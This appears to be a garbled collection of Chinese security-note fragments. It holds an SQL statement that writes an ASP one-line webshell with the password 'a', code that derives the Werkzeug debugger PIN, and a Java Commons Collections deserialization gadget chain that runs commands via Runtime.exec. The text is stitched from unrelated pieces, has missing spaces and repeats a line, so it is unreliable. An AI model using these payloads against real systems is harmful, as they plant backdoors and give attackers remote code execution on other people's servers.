SELECT '<%execute request("a")%>' into [a] in ' d:\freehost\fred200903\web\x.asp;a.xls''excel 8.0;' from a Shell地址：http://www.somesite.com/ x.asp;a.xls，一句话后门密码a。
h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): ifnot bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None if num isNone: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None if rv isNone: for group_size in5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num
publicclassCommonCollections1{ publicstaticvoidmain(String[] args)throws Exception{ Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe"}) }; Transformer transformerChain= new ChainedTransformer(transformers);
public Object transform(Object object){ for(int i=0; i< iTransformers.length; i ++){ object = iTransformers[i].transform(object); } return object; }
理解demo
Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe"}) }; Transformer transformerChain= new ChainedTransformer(transformers);
Method f = Runtime.class.getMethod("getRuntime"); Runtime r=(Runtime) f.invoke(null); r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
转化为Transformer的写法如下：
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{ String.class, Class.class },new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{ Object.class, Object[].class }, new Object[]{null,new Object[0]}), new InvokerTransformer("exec",new Class[]{ String.class }, new String[]{ "C:\\Windows\\System32\\calc.exe" }), };
The Java URL class has an interesting property on its equals and * hashCode methods. The URL class will, as a side effect, do a DNS lookup * during a comparison (either equals or hashCode).
The Java URL class has an interesting property on its equals and * hashCode methods. The URL class will, as a side effect, do a DNS lookup * during a comparison (either equals or hashCode).
